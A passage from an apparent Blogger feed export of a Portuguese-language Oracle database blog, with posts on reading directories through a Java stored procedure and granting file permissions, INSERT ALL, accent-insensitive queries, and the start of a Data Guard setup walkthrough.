falhar. Propositalmente, deixei esta explicação para o final a fim de advertir que é necessário dar privilégio de gravação no diretório onde a procedure java fará a leitura. Esse tipo de situação deve ser observada já que toda a permissão, especialmente nesse nível, precisa ser inventariada e controlada. Portanto, cuidado quando sugerir esse tipo de implementação em produção. Seguindo o exemplo, vou modificar o caminho do DIRECTORY para provocar o erro e demonstrar como dar o acesso.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; create or replace directory test_dir as '/oracle';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Directory created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select name from table(util.ls('TEST_DIR'));&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select name from table(util.ls('TEST_DIR'))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                       *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ERROR at line 1:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-29532: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(java.io.FilePermission /oracle/admin write) has not been granted to OPS$MARCIO. The PL/SQL to grant this is&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;dbms_java.grant_permission( 'OPS$MARCIO', 'SYS:java.io.FilePermission', '/oracle/admin', 'write' )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; exec dbms_java.grant_permission( 'OPS$MARCIO', 'SYS:java.io.FilePermission', '/oracle/*', 'write')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select name from table(util.ls('TEST_DIR'));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-----------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;admin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;lost+found&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;apex&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;arch&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;cfgtoollogs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oradata&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oraInventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;11.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;diag&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ewallet.p12&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sqladm&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oraInventory_10g&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;12 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; col name format a30&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select * from table(util.ls('TEST_DIR'));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;F R W H     FILE_SIZE MODIFIED            NAME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;- - - - ------------- ------------------- ------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y N N          4096 25/07/2008 01:04:16 admin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y Y N         16384 07/05/2007 09:22:07 lost+found&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y N N          4096 06/04/2009 01:04:34 apex&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y N N          4096 21/05/2009 00:04:04 arch&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y N N          4096 07/11/2008 19:53:34 cfgtoollogs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y N N          4096 05/11/2008 00:52:45 oradata&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y Y N          4096 07/11/2008 19:48:13 oraInventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y Y N          4096 19/06/2008 22:33:54 11.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y Y N          4096 26/06/2008 01:45:37 diag&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;F N N N          9973 21/08/2008 00:51:39 ewallet.p12&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y Y N          4096 27/09/2008 15:34:40 sqladm&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;D Y N N          4096 30/06/2008 22:16:28 oraInventory_10g&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;12 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-3739708349748081790?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/3739708349748081790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=3739708349748081790' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3739708349748081790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3739708349748081790'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2009/05/leitura-de-arquivos-pelo-plsql-e-java.html' title='Leitura de Arquivos pelo PL/SQL e Java'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-7734654291706339398</id><published>2009-01-07T02:28:00.004-02:00</published><updated>2009-01-07T02:45:05.652-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Duvidas'/><title type='text'>INSERT ALL</title><content type='html'>Dúvida:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;blockquote&gt;Marcio,&lt;br /&gt;&lt;br /&gt;   Segue abaixo um exemplo.&lt;br /&gt;   Eu leio os dados da tabela t1 e vou inserir em t2 e em t3.&lt;br /&gt;   Na tabela t2 vai inserir todos os dados, na tabela t3 só pode&lt;br /&gt;   inserir se a coluna c2 da tabela T1 estiver preenchida.&lt;br /&gt;&lt;br /&gt;Grato pela atenção.&lt;br /&gt;&lt;br /&gt;create table t1 (CL1 NUMBER(3), CL2 NUMBER(3), DATA_CARGA DATE );&lt;br /&gt;create table t2 (CL1 NUMBER(3) PRIMARY KEY, CL2 NUMBER(3), DATA_INSERT DATE, USUARIO VARCHAR2(30) );&lt;br /&gt;create table t3 (CL1 NUMBER(3) PRIMARY KEY, CL2 NUMBER(3) NOT NULL , DATA_INSERT DATE, USUARIO VARCHAR2(30) );&lt;br /&gt;&lt;br /&gt;INSERT INTO T1(CL1, CL2) VALUES (1,10);&lt;br /&gt;INSERT INTO T1(CL1, CL2) VALUES (2,20);&lt;br /&gt;INSERT INTO T1(CL1) VALUES (3);&lt;br /&gt;INSERT INTO T1(CL1) VALUES (4);&lt;br /&gt;INSERT INTO T1(CL1) VALUES (5);&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Quando o colega me enviou essa dúvida pela primeira vez, ele gostaria que eu o ajudasse a depurar um problema em um código procedural onde ele abria um cursor para ler a tabela T1 e inserir nas tabelas T2 e T3. Muitas vezes esquecemos dos recursos que o Oracle oferece e o código procedural é o primeiro que aparece para solucionarmos o problema, mas vale a pena dar uma paradinha para verificar se com SQL puro não se consegue o mesmo resultado só que com a performance bem melhor. No problema acima, o colega poderia esquecer o código procedural (cursor) e usar o INSERT ALL.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select * from t1;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          CL1           CL2 DATA_CARGA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- -------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1            10&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2            20&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;5 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select * from t2;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;no rows selected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select * from t3;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;no rows selected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; insert all&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2    when ( cl2 is not null ) then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3      into t3( cl1, cl2, data_insert, usuario )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4      values ( cl1, cl2, data_carga, user )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5    when ( 1=1 ) then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6      into t2( cl1, cl2, data_insert, usuario )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7      values ( cl1, cl2, data_carga, user )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8  select *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9    from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;7 rows created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select * from t1;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          CL1           CL2 DATA_CARGA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- -------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1            10&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2            20&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;5 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select * from t2;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          CL1           CL2 DATA_INSERT         USUARIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------------------- ------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1            10                     OPS$MARCIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2            20                     OPS$MARCIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            3                                   OPS$MARCIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            4                                   OPS$MARCIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            5                                   OPS$MARCIO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;5 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select * from t3;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          CL1           CL2 DATA_INSERT         USUARIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- ------------- ------------------- ------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            1            10                     OPS$MARCIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;            2            20                     OPS$MARCIO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Dessa forma, foi possível atender os requisitos e completar a tarefa com uma única instrução SQL.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-7734654291706339398?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/7734654291706339398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=7734654291706339398' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/7734654291706339398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/7734654291706339398'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2009/01/insert-all.html' title='INSERT ALL'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-6924161038582847415</id><published>2007-07-07T21:00:00.002-03:00</published><updated>2008-06-27T19:49:51.664-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><category scheme='http://www.blogger.com/atom/ns#' term='Duvidas'/><title type='text'>Consulta Ignorando Acentos</title><content type='html'>Algum tempo atrás, me &lt;a href="http://mportes.blogspot.com/2007/04/query-ignorando-acentos.html"&gt;fizeram uma pergunta&lt;/a&gt; sobre consulta sem considerar acentos. Quando respondi, falhei em pesquisar um pouco mais a fundo e então sugeri uma opção trabalhosa para resolver o problema.&lt;br /&gt;&lt;br /&gt;Semana passada, fiz uma página de "eWho" - procura de ramais - que necessitava exatamente do mesmo  mecanismo de busca, ou seja, que ignorasse acentos, maísculas e minúsculas. Como sempre recorro ao meu blog, vi no artigo que eu tinha que fazer uma tabela de conversão, pensei "não é possível!" e como sou muito preguiçoso, me restou ler o manual de globalização e encontrar exatamente o que precisava no &lt;a href="http://download.oracle.com/docs/cd/B19306_01/server.102/b14225/ch5lingsort.htm#i1005902"&gt;capítulo 5&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Bastou dois alter session e a query vai ignorar os acentos.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select * from t where x = 'marcio';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;no rows selected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;ops$marcio:LX10G&gt; alter session set nls_comp=linguistic;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;Session altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;ops$marcio:LX10G&gt; alter session set nls_sort=binary_ai;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;Session altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select * from t where x = 'marcio';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;X&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Márcio&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MÁRCIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;MARCIO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-6924161038582847415?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/6924161038582847415/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=6924161038582847415' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/6924161038582847415'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/6924161038582847415'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/07/consulta-ignorando-acentos.html' title='Consulta Ignorando Acentos'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-4459268376332775228</id><published>2007-06-09T19:48:00.000-03:00</published><updated>2007-06-12T02:17:41.446-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><category scheme='http://www.blogger.com/atom/ns#' term='New Feature'/><title type='text'>Broker, Dataguard e Real-Time Apply - 10g</title><content type='html'>Este é o complemento do &lt;a href="http://mportes.blogspot.com/2007/06/montar-dataguard-no-10g-com-broker.html"&gt;artigo anterior&lt;/a&gt;, onde discutimos como montar um Data Guard usando o RMAN. A seguir, farei da mesma forma, ou seja, não haverá explicações específicas para os comandos, já que o melhor &lt;span style="font-style: italic;"&gt;source&lt;/span&gt; para isso é o próprio manual.&lt;br /&gt;&lt;br /&gt;Então começamos com as instâncias criadas no artigo anterior (n1dg e n2dg), a princípio definidas como n1dg = nó primário e n2dg = nó standby físico. Vamos então aos copies e pastes.&lt;br /&gt;&lt;br /&gt;Garantia que não havia nenhuma instance viva.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@anakin ~]$ ps -ef | grep pmon_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;marcio    6175  6044  0 00:07 pts/1    00:00:00 grep pmon_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@anakin ~]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@anakin ~]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@anakin ~]$ su - oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Password:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin ~]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin ~]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin ~]$ cd /oracle/admin/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ ll -tr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 20&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-x---  6 oracle dba 4096 Feb 15 14:22 +ASM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-x---  8 oracle dba 4096 Feb 15 14:28 lx10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  7 ora92  dba 4096 Mar 27 16:48 lx92&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-x---  9 oracle dba 4096 Jun  3 23:06 n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  9 oracle dba 4096 Jun  3 23:58 n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Levantando nó primário.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ export ORACLE_SID=n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:08:17 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to an idle instance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area     608174080 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1263200 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                205523360 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database Buffers             394264576 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Redo Buffers                   7122944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database mounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database opened.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Checando os parâmetros pré-configurados no artigo anterior.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; show parameter archive&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NAME                                 TYPE        VALUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ----------- -----------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;archive_lag_target                   integer     0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_config                   string      DG_CONFIG=(n1, n2)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest                     string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_1                   string      LOCATION=/backup/n1/arch&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_10                  string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_2                   string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_3                   string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_4                   string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_5                   string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_6                   string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_7                   string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_8                   string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_9                   string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_1             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_10            string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_2             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_3             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_4             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_5             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_6             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_7             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_8             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;log_archive_dest_state_9             string      enable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 